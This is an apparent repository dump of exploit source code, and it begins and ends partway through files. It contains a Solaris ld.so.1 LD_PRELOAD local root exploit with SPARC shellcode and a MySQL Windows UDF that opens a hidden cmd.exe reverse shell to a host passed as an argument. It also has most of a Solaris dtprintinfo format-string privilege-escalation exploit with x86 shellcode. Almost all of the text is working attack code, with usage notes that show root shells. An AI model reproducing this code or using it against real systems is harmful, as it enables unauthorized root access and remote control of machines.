0xff)) 268 | addr_old |= 0x04; 269 | if (!(addr_old & 0xff00)) 270 | addr_old |= 0x0400; 271 | 272 | return addr_old; 273 | } 274 | 275 | /* 276 | * set_val(): copy a dword inside a buffer (little endian) 277 | */ 278 | void set_val(char *buf, int pos, int val) 279 | { 280 | buf[pos] = (val & 0x000000ff); 281 | buf[pos + 1] = (val & 0x0000ff00) >> 8; 282 | buf[pos + 2] = (val & 0x00ff0000) >> 16; 283 | buf[pos + 3] = (val & 0xff000000) >> 24; 284 | } 285 | -------------------------------------------------------------------------------- /solaris/raptor_ldpreload.c: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: raptor_ldpreload.c,v 1.1.1.1 2004/12/04 14:35:34 raptor Exp $ 3 | * 4 | * raptor_ldpreload.c - ld.so.1 local, Solaris/SPARC 2.6/7/8/9 5 | * Copyright (c) 2003-2004 Marco Ivaldi 6 | * 7 | * Stack-based buffer overflow in the runtime linker, ld.so.1, on Solaris 2.6 8 | * through 9 allows local users to gain root privileges via a long LD_PRELOAD 9 | * environment variable (CAN-2003-0609). 10 | * 11 | * This exploit uses the ret-into-ld.so technique, to effectively bypass the 12 | * non-executable stack protection (noexec_user_stack=1 in /etc/system). This 13 | * is a weird vulnerability indeed: the standard ret-into-stack doesn't seem 14 | * to work properly for some reason (SEGV_ACCERR), and at least my version of 15 | * Solaris 8 (Generic_108528-13) is very hard to exploit (how to reach ret?). 16 | * 17 | * Usage: 18 | * $ gcc raptor_ldpreload.c -o raptor_ldpreload -ldl -Wall 19 | * $ ./raptor_ldpreload 20 | * [...] 21 | * # id 22 | * uid=0(root) gid=1(other) 23 | * # 24 | * 25 | * Vulnerable platforms: 26 | * Solaris 2.6 with 107733-10 and without 107733-11 [untested] 27 | * Solaris 7 with 106950-14 through 106950-22 and without 106950-23 [untested] 28 | * Solaris 8 with 109147-07 through 109147-24 and without 109147-25 [untested] 29 | * Solaris 9 without 112963-09 [tested] 30 | */ 31 | 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | 42 | #define INFO1 "raptor_ldpreload.c - ld.so.1 local, Solaris/SPARC 2.6/7/8/9" 43 | #define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi " 44 | 45 | #define VULN "/usr/bin/su" // default setuid target 46 | #define BUFSIZE 1700 // size of the evil buffer 47 | #define FFSIZE 64 + 1 // size of the fake frame 48 | #define DUMMY 0xdeadbeef // dummy memory address 49 | #define ALIGN 3 // needed address alignment 50 | 51 | /* voodoo macros */ 52 | #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} 53 | #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} 54 | 55 | char sc[] = /* Solaris/SPARC shellcode (12 + 48 = 60 bytes) */ 56 | /* setuid() */ 57 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 58 | /* execve() */ 59 | "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" 60 | "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" 61 | "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; 62 | 63 | /* globals */ 64 | char *env[256]; 65 | int env_pos = 0, env_len = 0; 66 | 67 | /* prototypes */ 68 | int add_env(char *string); 69 | void check_zero(int addr, char *pattern); 70 | int search_ldso(char *sym); 71 | int search_rwx_mem(void); 72 | void set_val(char *buf, int pos, int val); 73 | 74 | /* 75 | * main() 76 | */ 77 | int main(int argc, char **argv) 78 | { 79 | char buf[BUFSIZE], ff[FFSIZE]; 80 | char platform[256], release[256]; 81 | int i, offset, ff_addr, sc_addr, str_addr; 82 | int plat_len, prog_len, rel; 83 | 84 | char *arg[2] = {"foo", NULL}; 85 | int arg_len = 4, arg_pos = 1; 86 | 87 | int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; 88 | int ret = search_ldso("strcpy"); 89 | int rwx_mem = search_rwx_mem(); 90 | 91 | /* print exploit information */ 92 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 93 | 94 | /* get some system information */ 95 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 96 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 97 | rel = atoi(release + 2); 98 | 99 | /* prepare the evil buffer */ 100 | memset(buf, 'A', sizeof(buf)); 101 | buf[sizeof(buf) - 1] = 0x0; 102 | memcpy(buf, "LD_PRELOAD=/", 12); 103 | buf[sizeof(buf) - 2] = '/'; 104 | 105 | /* prepare the fake frame */ 106 | bzero(ff, sizeof(ff)); 107 | 108 | /* 109 | * saved %l registers 110 | */ 111 | set_val(ff, i = 0, DUMMY); /* %l0 */ 112 | set_val(ff, i += 4, DUMMY); /* %l1 */ 113 | set_val(ff, i += 4, DUMMY); /* %l2 */ 114 | set_val(ff, i += 4, DUMMY); /* %l3 */ 115 | set_val(ff, i += 4, DUMMY); /* %l4 */ 116 | set_val(ff, i += 4, DUMMY); /* %l5 */ 117 | set_val(ff, i += 4, DUMMY); /* %l6 */ 118 | set_val(ff, i += 4, DUMMY); /* %l7 */ 119 | 120 | /* 121 | * saved %i registers 122 | */ 123 | set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */ 124 | set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */ 125 | set_val(ff, i += 4, DUMMY); /* %i2 */ 126 | set_val(ff, i += 4, DUMMY); /* %i3 */ 127 | set_val(ff, i += 4, DUMMY); /* %i4 */ 128 | set_val(ff, i += 4, DUMMY); /* %i5 */ 129 | set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */ 130 | set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ 131 | 132 | /* fill the envp, keeping padding */ 133 | sc_addr = add_env(ff); 134 | str_addr = add_env(sc); 135 | add_env("bar"); 136 | add_env(buf); 137 | add_env(NULL); 138 | 139 | /* calculate the offset to argv[0] (voodoo magic) */ 140 | plat_len = strlen(platform) + 1; 141 | prog_len = strlen(VULN) + 1; 142 | offset = arg_len + env_len + plat_len + prog_len; 143 | if (rel > 7) 144 | VOODOO64(offset, arg_pos, env_pos) 145 | else 146 | VOODOO32(offset, plat_len, prog_len) 147 | 148 | /* calculate the needed addresses */ 149 | ff_addr = sb - offset + arg_len; 150 | sc_addr += ff_addr; 151 | str_addr += ff_addr; 152 | 153 | /* set fake frame's %i1 */ 154 | set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */ 155 | 156 | /* fill the evil buffer */ 157 | for (i = 12 + ALIGN; i < 1296; i += 4) 158 | set_val(buf, i, str_addr); /* must be a valid string */ 159 | /* to avoid distance bruteforcing */ 160 | for (i = 1296 + ALIGN; i < BUFSIZE - 12; i += 4) { 161 | set_val(buf, i, ff_addr); 162 | set_val(buf, i += 4, ret - 4); /* strcpy(), after the save */ 163 | } 164 | 165 | /* print some output */ 166 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 167 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 168 | fprintf(stderr, "Using string address\t: 0x%p\n", (void *)str_addr); 169 | fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 170 | fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 171 | fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); 172 | fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); 173 | 174 | /* run the vulnerable program */ 175 | execve(VULN, arg, env); 176 | perror("execve"); 177 | exit(0); 178 | } 179 | 180 | /* 181 | * add_env(): add a variable to envp and pad if needed 182 | */ 183 | int add_env(char *string) 184 | { 185 | int i; 186 | 187 | /* null termination */ 188 | if (!string) { 189 | env[env_pos] = NULL; 190 | return(env_len); 191 | } 192 | 193 | /* add the variable to envp */ 194 | env[env_pos] = string; 195 | env_len += strlen(string) + 1; 196 | env_pos++; 197 | 198 | /* pad the envp using zeroes */ 199 | if ((strlen(string) + 1) % 4) 200 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 201 | env[env_pos] = string + strlen(string); 202 | env_len++; 203 | } 204 | 205 | return(env_len); 206 | } 207 | 208 | /* 209 | * check_zero(): check an address for the presence of a 0x00 210 | */ 211 | void check_zero(int addr, char *pattern) 212 | { 213 | if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 214 | !(addr & 0xff000000)) { 215 | fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); 216 | exit(1); 217 | } 218 | } 219 | 220 | /* 221 | * search_ldso(): search for a symbol inside ld.so.1 222 | */ 223 | int search_ldso(char *sym) 224 | { 225 | int addr; 226 | void *handle; 227 | Link_map *lm; 228 | 229 | /* open the executable object file */ 230 | if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 231 | perror("dlopen"); 232 | exit(1); 233 | } 234 | 235 | /* get dynamic load information */ 236 | if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 237 | perror("dlinfo"); 238 | exit(1); 239 | } 240 | 241 | /* search for the address of the symbol */ 242 | if ((addr = (int)dlsym(handle, sym)) == NULL) { 243 | fprintf(stderr, "sorry, function %s() not found\n", sym); 244 | exit(1); 245 | } 246 | 247 | /* close the executable object file */ 248 | dlclose(handle); 249 | 250 | check_zero(addr - 4, sym); 251 | return(addr); 252 | } 253 | 254 | /* 255 | * search_rwx_mem(): search for an RWX memory segment valid for all 256 | * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 257 | */ 258 | int search_rwx_mem(void) 259 | { 260 | int fd; 261 | char tmp[16]; 262 | prmap_t map; 263 | int addr = 0, addr_old; 264 | 265 | /* open the proc filesystem */ 266 | sprintf(tmp,"/proc/%d/map", (int)getpid()); 267 | if ((fd = open(tmp, O_RDONLY)) < 0) { 268 | fprintf(stderr, "can't open %s\n", tmp); 269 | exit(1); 270 | } 271 | 272 | /* search for the last RWX memory segment before stack (last - 1) */ 273 | while (read(fd, &map, sizeof(map))) 274 | if (map.pr_vaddr) 275 | if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 276 | addr_old = addr; 277 | addr = map.pr_vaddr; 278 | } 279 | close(fd); 280 | 281 | /* add 4 to the exact address NULL bytes */ 282 | if (!(addr_old & 0xff)) 283 | addr_old |= 0x04; 284 | if (!(addr_old & 0xff00)) 285 | addr_old |= 0x0400; 286 | 287 | return(addr_old); 288 | } 289 | 290 | /* 291 | * set_val(): copy a dword inside a buffer 292 | */ 293 | void set_val(char *buf, int pos, int val) 294 | { 295 | buf[pos] = (val & 0xff000000) >> 24; 296 | buf[pos + 1] = (val & 0x00ff0000) >> 16; 297 | buf[pos + 2] = (val & 0x0000ff00) >> 8; 298 | buf[pos + 3] = (val & 0x000000ff); 299 | } 300 | -------------------------------------------------------------------------------- /mysql/raptor_winudf/src/ShellTest/ShellTest.cpp: -------------------------------------------------------------------------------- 1 | #include "shelltest.h" 2 | 3 | EXTERN int EXPORT netcat(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) 4 | { 5 | if( args->arg_count != 1 ) 6 | return 0; 7 | 8 | WSADATA wsaData; 9 | if ( WSAStartup(MAKEWORD(2, 2), &wsaData) ) 10 | return 0; 11 | //Report("WSAStartup function failed", 1, true); 12 | 13 | if ( 2 != LOBYTE(wsaData.wVersion) || 2 != HIBYTE(wsaData.wVersion) ) 14 | return 0; 15 | //Report("Incompatible version of winsock", WSAGetLastError(), true); 16 | 17 | SOCKET sckConnection = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 18 | if ( INVALID_SOCKET == sckConnection ) 19 | return 0; 20 | //Report("Failed to create the socket sckConnection", WSAGetLastError(), true); 21 | 22 | struct sockaddr_in saiConnection; 23 | ZeroMemory(&saiConnection, sizeof(sockaddr_in)); 24 | 25 | struct hostent *pConnectToAddress = gethostbyname(args->args[0]); 26 | if ( ! pConnectToAddress ) 27 | return 0; 28 | //Report("Failed the gethostbyname() function", WSAGetLastError(), true); 29 | 30 | saiConnection.sin_addr.s_addr = ((struct in_addr *)(pConnectToAddress->h_addr))->s_addr; 31 | saiConnection.sin_family = AF_INET; 32 | saiConnection.sin_port = htons(80); 33 | 34 | if ( ! bind(sckConnection, (struct sockaddr*)&saiConnection, sizeof(saiConnection)) ) 35 | return 0; 36 | //Report("Failed to bind the socket sckConnection", WSAGetLastError(), true); 37 | 38 | if( SOCKET_ERROR == connect(sckConnection, (SOCKADDR*) &saiConnection, sizeof(saiConnection)) ) 39 | return 0; 40 | //Report("Failed to connect the socket sckConnection", WSAGetLastError(), true); 41 | 42 | char *chLocalHostName = (CHAR *)malloc(255); 43 | if ( ! chLocalHostName ) 44 | { 45 | closesocket(sckConnection); 46 | return 0; 47 | //Report("Failed to allocate memory for chLocalHostName", GetLastError(), true); 48 | } 49 | 50 | if ( SOCKET_ERROR == gethostname(chLocalHostName, 255) ) 51 | { 52 | closesocket(sckConnection); 53 | return 0; 54 | //Report("Failed the gethostname() Function", WSAGetLastError(), true); 55 | } 56 | 57 | PHOSTENT pHostInfo = gethostbyname(chLocalHostName); 58 | if ( 0 == pHostInfo ) 59 | { 60 | closesocket(sckConnection); 61 | return 0; 62 | //Report("Failed the gethostbyname function to obtain the local IP address", WSAGetLastError(), true); 63 | } 64 | 65 | char * chSendData = (CHAR *)malloc(1024); 66 | if ( ! chSendData ) 67 | { 68 | closesocket(sckConnection); 69 | return 0; 70 | //Report("Failed to allocate memory for chSendData", GetLastError(), true); 71 | } 72 | ZeroMemory(chSendData, 1024); 73 | 74 | strncat(chSendData, "\n\nReverse Exploitation...\n\n", 27); 75 | strncat(chSendData, "\nConnection Established\n\nHostname: ", 42); 76 | strncat(chSendData, chLocalHostName, strlen(chLocalHostName)); 77 | strncat(chSendData, "\nIP Address: ", 13); 78 | strncat(chSendData, inet_ntoa (*(struct in_addr *)*pHostInfo->h_addr_list), strlen(inet_ntoa (*(struct in_addr *)*pHostInfo->h_addr_list))); 79 | strncat(chSendData, "\n\n", 2); 80 | 81 | free(chLocalHostName); 82 | chLocalHostName = 0; 83 | 84 | if ( SOCKET_ERROR == send(sckConnection, chSendData, strlen(chSendData), 0) ) 85 | { 86 | closesocket(sckConnection); 87 | return 0; 88 | //Report("Failed to send initial data", WSAGetLastError(), true); 89 | } 90 | 91 | free(chSendData); 92 | chSendData = 0; 93 | 94 | SECURITY_ATTRIBUTES saSecurityAttributes; 95 | ZeroMemory(&saSecurityAttributes, sizeof(SECURITY_ATTRIBUTES)); 96 | 97 | saSecurityAttributes.nLength = sizeof(saSecurityAttributes); 98 | saSecurityAttributes.lpSecurityDescriptor = NULL; 99 | saSecurityAttributes.bInheritHandle = TRUE; 100 | 101 | HANDLE hStdInRead = 0, hStdInWrite = 0; 102 | if( ! CreatePipe(&hStdInRead, &hStdInWrite, &saSecurityAttributes, 0) ) 103 | { 104 | closesocket(sckConnection); 105 | return 0; 106 | //Report("Failed to Failed to create first pipe", GetLastError(), true); 107 | } 108 | 109 | HANDLE hStdOutRead = 0, hStdOutWrite = 0; 110 | if( ! CreatePipe(&hStdOutRead, &hStdOutWrite, &saSecurityAttributes, 0) ) 111 | { 112 | closesocket(sckConnection); 113 | return 0; 114 | //Report("Failed to Failed to create second pipe", GetLastError(), true); 115 | } 116 | 117 | THREAD_PARAM tpSOThreadParam; 118 | ZeroMemory(&tpSOThreadParam, sizeof(THREAD_PARAM)); 119 | 120 | tpSOThreadParam.hPipeHandle = hStdOutRead; 121 | tpSOThreadParam.sSocket = sckConnection; 122 | 123 | DWORD dwSOThreadID = 0; 124 | HANDLE hSOThread = CreateThread(&saSecurityAttributes, 0, (LPTHREAD_START_ROUTINE)ProcessOutThread, &tpSOThreadParam, 0, &dwSOThreadID) ; 125 | if ( ! hSOThread ) 126 | { 127 | closesocket(sckConnection); 128 | return 0; 129 | //Report("Failed to Create SO Thread", GetLastError(), true); 130 | } 131 | 132 | THREAD_PARAM tpSIThreadParam; 133 | ZeroMemory(&tpSIThreadParam, sizeof(THREAD_PARAM)); 134 | tpSIThreadParam.hPipeHandle = hStdInWrite; 135 | tpSIThreadParam.sSocket = sckConnection; 136 | 137 | DWORD dwSIThreadID = 0; 138 | HANDLE hSIThread = CreateThread(&saSecurityAttributes, 0, (LPTHREAD_START_ROUTINE)ProcessInThread, &tpSIThreadParam, 0, &dwSIThreadID) ; 139 | if ( ! hSIThread ) 140 | { 141 | closesocket(sckConnection); 142 | return 0; 143 | //Report("Failed to Create SI Thread", GetLastError(), true); 144 | } 145 | 146 | STARTUPINFO siProcStartupInfo; 147 | ZeroMemory(&siProcStartupInfo, sizeof(STARTUPINFO)); 148 | 149 | GetStartupInfo(&siProcStartupInfo); 150 | 151 | siProcStartupInfo.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW; 152 | siProcStartupInfo.hStdInput = hStdInRead; 153 | siProcStartupInfo.hStdOutput = hStdOutWrite; 154 | siProcStartupInfo.hStdError = hStdOutWrite; 155 | siProcStartupInfo.wShowWindow = SW_HIDE; // stop the shell window showing 156 | 157 | PROCESS_INFORMATION piProcInfo; 158 | ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION)); 159 | 160 | if( ! CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &siProcStartupInfo, &piProcInfo) ) 161 | { 162 | closesocket(sckConnection); 163 | return 0; 164 | //Report("Failed to spawn cmd.exe", GetLastError(), true); 165 | } 166 | 167 | HANDLE hHandleArray[3]; 168 | hHandleArray[0] = hSOThread; 169 | hHandleArray[1] = hSIThread; 170 | hHandleArray[2] = piProcInfo.hProcess; 171 | 172 | switch(WaitForMultipleObjectsEx(3, hHandleArray, false, INFINITE, false)) 173 | { 174 | case (WAIT_OBJECT_0 + 0): 175 | TerminateThread(hSIThread, 0); 176 | TerminateProcess(piProcInfo.hProcess, 1); 177 | break; 178 | 179 | case (WAIT_OBJECT_0 + 1): 180 | TerminateThread(hSOThread, 0); 181 | TerminateProcess(piProcInfo.hProcess, 1); 182 | break; 183 | 184 | case (WAIT_OBJECT_0 + 2): 185 | TerminateThread(hSIThread, 0); 186 | TerminateThread(hSOThread, 0); 187 | 188 | default: 189 | closesocket(sckConnection); 190 | 191 | return 0; 192 | //Report("The WaitForMiltipleObjectsEx function returned an error", GetLastError(), true); 193 | } 194 | 195 | if ( SOCKET_ERROR == send(sckConnection, "\n\nConnection Terminated...\n\n", 28, 0) ) 196 | { 197 | closesocket(sckConnection); 198 | return 0; 199 | //Report("Failed to send the connection terminated message", WSAGetLastError(), true); 200 | } 201 | 202 | closesocket(sckConnection); 203 | WSACleanup(); 204 | 205 | return(0); 206 | } 207 | 208 | static VOID ProcessInThread(PTHREAD_PARAM ptpParam) 209 | { 210 | 211 | char *chRecieveBuffer = (CHAR *)malloc(1); 212 | ZeroMemory(chRecieveBuffer, sizeof(chRecieveBuffer)); 213 | 214 | DWORD dwBytesWritten = 0; 215 | 216 | while ( SOCKET_ERROR != recv(ptpParam->sSocket, chRecieveBuffer, 1, 0) ) 217 | { 218 | if ( ! WriteFile(ptpParam->hPipeHandle, chRecieveBuffer, 1, &dwBytesWritten, NULL) ) 219 | ExitThread(GetLastError()); 220 | 221 | ZeroMemory(chRecieveBuffer, sizeof(chRecieveBuffer)); 222 | } 223 | 224 | free(chRecieveBuffer); 225 | 226 | ExitThread(0); 227 | } 228 | 229 | static VOID ProcessOutThread(PTHREAD_PARAM ptpParam) 230 | { 231 | 232 | DWORD dwBytesAvailable = 0; 233 | DWORD dwBytesRead = 0; 234 | 235 | char *chReadPipeBuffer = (CHAR *)malloc(READ_PIPE_BUFFER_SIZE); 236 | ZeroMemory(chReadPipeBuffer, READ_PIPE_BUFFER_SIZE); 237 | 238 | while(1) 239 | { 240 | if ( ! PeekNamedPipe(ptpParam->hPipeHandle, NULL, 0, NULL, &dwBytesAvailable, NULL) ) 241 | ExitThread(GetLastError()); 242 | 243 | while ( 0 != dwBytesAvailable ) 244 | { 245 | if ( (READ_PIPE_BUFFER_SIZE) < dwBytesAvailable ) 246 | { 247 | if ( ! ReadFile(ptpParam->hPipeHandle, chReadPipeBuffer, READ_PIPE_BUFFER_SIZE, &dwBytesRead, NULL) ) 248 | ExitThread(GetLastError()); 249 | } 250 | else 251 | { 252 | if ( ! ReadFile(ptpParam->hPipeHandle, chReadPipeBuffer, dwBytesAvailable, &dwBytesRead, NULL) ) 253 | ExitThread(GetLastError()); 254 | } 255 | 256 | if ( ! send(ptpParam->sSocket, chReadPipeBuffer, dwBytesRead, 0) ) 257 | ExitThread(GetLastError()); 258 | 259 | dwBytesAvailable = (dwBytesAvailable - dwBytesRead); 260 | ZeroMemory(chReadPipeBuffer, sizeof(READ_PIPE_BUFFER_SIZE)); 261 | } 262 | 263 | SleepEx(READ_PIPE_LOOP_SLEEP_TIME, false); 264 | } 265 | ExitThread(0); 266 | } 267 | 268 | void Report(LPTSTR lpErrorMessage, DWORD dwErrorCode, BOOL bTerminateProcess) 269 | { 270 | WSACleanup(); 271 | if ( bTerminateProcess ) 272 | ExitProcess(dwErrorCode); 273 | } 274 | 275 | EXTERN char EXPORT netcat_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 276 | { 277 | return 0; 278 | } 279 | -------------------------------------------------------------------------------- /solaris/raptor_dtprintcheckdir_intel2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE 3 | * Copyright (c) 2020 Marco Ivaldi 4 | * 5 | * "I'm gonna have to go into hardcore hacking mode!" -- Hackerman 6 | * https://youtu.be/KEkrWRHCDQU 7 | * 8 | * Same code snippet, different vulnerability. 20 years later, format string 9 | * bugs are not extinct after all! The vulnerable function looks like this: 10 | * 11 | * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...) 12 | * { 13 | * ... 14 | * char local_724 [300]; 15 | * ... 16 | * else { 17 | * __format = getenv("REQ_DIR"); 18 | * sprintf(local_724,__format,param_2); // [1] 19 | * } 20 | * ... 21 | * local_c = strlen(local_724); // [2] 22 | * sprintf(local_5f8,"/var/spool/lp/tmp/%s/",param_2); // [3] 23 | * ... 24 | * } 25 | * 26 | * The plan (inspired by an old technique devised by gera) is to exploit the 27 | * sprintf at [1], where we control the format string, to replace the strlen 28 | * at [2] with a strdup and the sprintf at [3] with a call to the shellcode 29 | * dynamically allocated in the heap by strdup and pointed to by the local_c 30 | * variable at [2]. In practice, to pull this off the structure of the evil 31 | * environment variable REQ_DIR must be: 32 | * [sc] [pad] [.got/strlen] [.got/sprintf] [stackpop] [W .plt/strdup] [W call *-0x8(%ebp)] 33 | * 34 | * To collect the needed addresses for your system, use: 35 | * $ objdump -R /usr/dt/bin/dtprintinfo | grep strlen # .got 36 | * 080994cc R_386_JUMP_SLOT strlen 37 | * $ objdump -R /usr/dt/bin/dtprintinfo | grep sprintf # .got 38 | * 080994e4 R_386_JUMP_SLOT sprintf 39 | * $ objdump -x /usr/dt/bin/dtprintinfo | grep strdup # .plt 40 | * 0805df20 F *UND* 00000000 strdup 41 | * $ objdump -d /usr/dt/bin/dtprintinfo | grep call | grep ebp | grep -- -0x8 # .text 42 | * 08067f52: ff 55 f8 call *-0x8(%ebp) 43 | * 44 | * This bug was likely fixed during the general cleanup of CDE code done by 45 | * Oracle in response to my recently reported vulnerabilities. However, I can't 46 | * confirm this because I have no access to their patches:/ 47 | * 48 | * See also: 49 | * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) 50 | * raptor_dtprintcheckdir_sparc.c (just a proof of concept) 51 | * raptor_dtprintcheckdir_sparc2.c (the real deal) 52 | * 53 | * Usage: 54 | * $ gcc raptor_dtprintcheckdir_intel2.c -o raptor_dtprintcheckdir_intel2 -Wall 55 | * [on your xserver: disable the access control] 56 | * $ ./raptor_dtprintcheckdir_intel2 192.168.1.1:0 57 | * [on your xserver: double click on the fake "fnord" printer] 58 | * [...] 59 | * # id 60 | * uid=0(root) gid=1(other) 61 | * # 62 | * 63 | * Tested on: 64 | * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) 65 | * [previous Solaris versions are also likely vulnerable] 66 | */ 67 | 68 | #include 69 | #include 70 | #include 71 | #include 72 | #include 73 | #include 74 | 75 | #define INFO1 "raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE" 76 | #define INFO2 "Copyright (c) 2020 Marco Ivaldi " 77 | 78 | #define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program 79 | #define BUFSIZE 300 // size of evil env var 80 | #define STACKPOPSEQ "%.8x" // stackpop sequence 81 | #define STACKPOPS 14 // number of stackpops 82 | 83 | /* replace with valid addresses for your system */ 84 | #define STRLEN 0x080994cc // .got strlen address 85 | #define SPRINTF 0x080994e4 // .got sprintf address 86 | #define STRDUP 0x0805df20 // .plt strdup address 87 | #define RET 0x08067f52 // call *-0x8(%ebp) address 88 | 89 | /* split an address in 4 bytes */ 90 | #define SPLITB(b1, b2, b3, b4, addr) { \ 91 | b1 = (addr & 0x000000ff); \ 92 | b2 = (addr & 0x0000ff00) >> 8; \ 93 | b3 = (addr & 0x00ff0000) >> 16; \ 94 | b4 = (addr & 0xff000000) >> 24; \ 95 | } 96 | 97 | char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ 98 | /* double setuid() */ 99 | "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 100 | "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 101 | /* execve() */ 102 | "\x31\xc0\x50\x68/ksh\x68/bin" 103 | "\x89\xe3\x50\x53\x89\xe2\x50" 104 | "\x52\x53\xb0\x3b\x50\xcd\x91"; 105 | 106 | /* globals */ 107 | char *arg[2] = {"foo", NULL}; 108 | char *env[256]; 109 | int env_pos = 0, env_len = 0; 110 | 111 | /* prototypes */ 112 | int add_env(char *string); 113 | 114 | /* 115 | * main() 116 | */ 117 | int main(int argc, char **argv) 118 | { 119 | char buf[BUFSIZE], *p = buf; 120 | char platform[256], release[256], display[256]; 121 | 122 | int i, stackpops = STACKPOPS; 123 | unsigned base, n1, n2, n3, n4, n5, n6, n7, n8; 124 | unsigned char strdup1, strdup2, strdup3, strdup4; 125 | unsigned char ret1, ret2, ret3, ret4; 126 | 127 | int strlen_got = STRLEN; 128 | int sprintf_got = SPRINTF; 129 | int strdup_plt = STRDUP; 130 | int ret = RET; 131 | 132 | /* lpstat code to add a fake printer */ 133 | if (!strcmp(argv[0], "lpstat")) { 134 | 135 | /* check command line */ 136 | if (argc != 2) 137 | exit(1); 138 | 139 | /* print the expected output and exit */ 140 | if(!strcmp(argv[1], "-v")) { 141 | fprintf(stderr, "lpstat called with -v\n"); 142 | printf("device for fnord: /dev/null\n"); 143 | } else { 144 | fprintf(stderr, "lpstat called with -d\n"); 145 | printf("system default destination: fnord\n"); 146 | } 147 | exit(0); 148 | } 149 | 150 | /* print exploit information */ 151 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 152 | 153 | /* process command line */ 154 | if (argc != 2) { 155 | fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 156 | exit(1); 157 | } 158 | sprintf(display, "DISPLAY=%s", argv[1]); 159 | 160 | /* evil env var: name + shellcode + padding */ 161 | bzero(buf, BUFSIZE); 162 | sprintf(buf, "REQ_DIR=%s#", sc); 163 | p += strlen(buf); 164 | 165 | /* format string: .got strlen address */ 166 | *((void **)p) = (void *)(strlen_got); p += 4; 167 | memset(p, 'A', 4); p += 4; /* dummy */ 168 | *((void **)p) = (void *)(strlen_got + 1); p += 4; 169 | memset(p, 'A', 4); p += 4; /* dummy */ 170 | *((void **)p) = (void *)(strlen_got + 2); p += 4; 171 | memset(p, 'A', 4); p += 4; /* dummy */ 172 | *((void **)p) = (void *)(strlen_got + 3); p += 4; 173 | memset(p, 'A', 4); p += 4; /* dummy */ 174 | 175 | /* format string: .got sprintf address */ 176 | *((void **)p) = (void *)(sprintf_got); p += 4; 177 | memset(p, 'A', 4); p += 4; /* dummy */ 178 | *((void **)p) = (void *)(sprintf_got + 1); p += 4; 179 | memset(p, 'A', 4); p += 4; /* dummy */ 180 | *((void **)p) = (void *)(sprintf_got + 2); p += 4; 181 | memset(p, 'A', 4); p += 4; /* dummy */ 182 | *((void **)p) = (void *)(sprintf_got + 3); p += 4; 183 | 184 | /* format string: stackpop sequence */ 185 | base = strlen(buf) - strlen("REQ_DIR="); 186 | for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) 187 | strcat(p, STACKPOPSEQ); 188 | 189 | /* calculate numeric arguments for .plt strdup address */ 190 | SPLITB(strdup1, strdup2, strdup3, strdup4, strdup_plt); 191 | n1 = (strdup1 - base) % 0x100; 192 | n2 = (strdup2 - base - n1) % 0x100; 193 | n3 = (strdup3 - base - n1 - n2) % 0x100; 194 | n4 = (strdup4 - base - n1 - n2 - n3) % 0x100; 195 | 196 | /* calculate numeric arguments for call *-0x8(%ebp) address */ 197 | SPLITB(ret1, ret2, ret3, ret4, ret); 198 | n5 = (ret1 - base - n1 - n2 - n3 - n4) % 0x100; 199 | n6 = (ret2 - base - n1 - n2 - n3 - n4 - n5) % 0x100; 200 | n7 = (ret3 - base - n1 - n2 - n3 - n4 - n5 - n6) % 0x100; 201 | n8 = (ret4 - base - n1 - n2 - n3 - n4 - n5 - n6 - n7) % 0x100; 202 | 203 | /* check for potentially dangerous numeric arguments below 10 */ 204 | n1 += (n1 < 10) ? (0x100) : (0); 205 | n2 += 